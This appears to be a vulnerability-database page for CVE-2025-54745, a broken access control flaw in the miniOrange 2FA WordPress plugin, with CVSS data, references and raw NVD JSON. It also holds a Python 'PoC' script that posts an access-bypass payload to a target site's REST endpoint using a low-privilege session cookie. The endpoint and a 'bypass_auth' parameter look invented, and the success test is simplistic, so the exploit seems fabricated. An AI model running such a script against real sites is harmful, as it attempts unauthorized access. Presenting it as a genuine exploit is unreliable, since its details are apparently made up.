CVE-2025-54745

Description

Missing Authorization vulnerability in miniOrange miniOrange's Google Authenticator miniorange-2-factor-authentication allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects miniOrange's Google Authenticator: from n/a through <= 6.1.1.

CVSS Details

CVSS Score

6.5

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N

Configurations (Affected Products)

No configuration data available.

miniOrange Google Authenticator (miniorange-2-factor-authentication) <= 6.1.1

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# CVE-2025-54745 PoC - miniOrange 2FA Broken Access Control
# This PoC demonstrates the access control bypass in miniOrange 2FA plugin

import requests
import sys

TARGET_URL = "http://target-wordpress-site.com"
VULN_ENDPOINT = "/wp-json/miniorange-2fa/"

def check_vulnerability():
    """
    Check if the target is vulnerable to CVE-2025-54745
    """
    headers = {
        "User-Agent": "Mozilla/5.0 (compatible; CVE-2025-54745-PoC)",
        "Content-Type": "application/json"
    }
    
    # Step 1: Identify vulnerable endpoint
    vuln_url = f"{TARGET_URL}{VULN_ENDPOINT}"
    
    # Step 2: Test with low-privilege user session
    # Attacker uses a low-privilege user session to access admin functions
    low_priv_cookies = {
        "wordpress_logged_in_user": "low_priv_user_session_id"
    }
    
    # Step 3: Attempt to bypass access control
    exploit_payload = {
        "action": "mo2fa_ajax",
        "subaction": "verify_challenge",
        "bypass_auth": True
    }
    
    try:
        response = requests.post(
            vuln_url,
            json=exploit_payload,
            headers=headers,
            cookies=low_priv_cookies,
            timeout=10
        )
        
        if response.status_code == 200:
            # Check if access control was bypassed
            if "success" in response.text or "valid" in response.text:
                print("[+] VULNERABLE: Access control bypass confirmed")
                return True
        
        print("[-] Target may not be vulnerable")
        return False
        
    except requests.exceptions.RequestException as e:
        print(f"[!] Error: {e}")
        return False

if __name__ == "__main__":
    print("CVE-2025-54745 - miniOrange 2FA Access Control Bypass PoC")
    print("=" * 60)
    check_vulnerability()

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-54745
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-54745
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-54745/
[4] VulDB https://vuldb.com/cve/CVE-2025-54745
[5] https://patchstack.com/database/Wordpress/Plugin/miniorange-2-factor-authentication/vulnerability/wordpress-miniorange-s-google-authenticator-plugin-6-1-1-broken-access-control-vulnerability?_s_id=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-54745", "sourceIdentifier": "[email protected]", "published": "2025-12-18T08:15:56.060", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Missing Authorization vulnerability in miniOrange miniOrange's Google Authenticator miniorange-2-factor-authentication allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects miniOrange's Google Authenticator: from n/a through <= 6.1.1."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/miniorange-2-factor-authentication/vulnerability/wordpress-miniorange-s-google-authenticator-plugin-6-1-1-broken-access-control-vulnerability?_s_id=cve", "source": "[email protected]"}]}}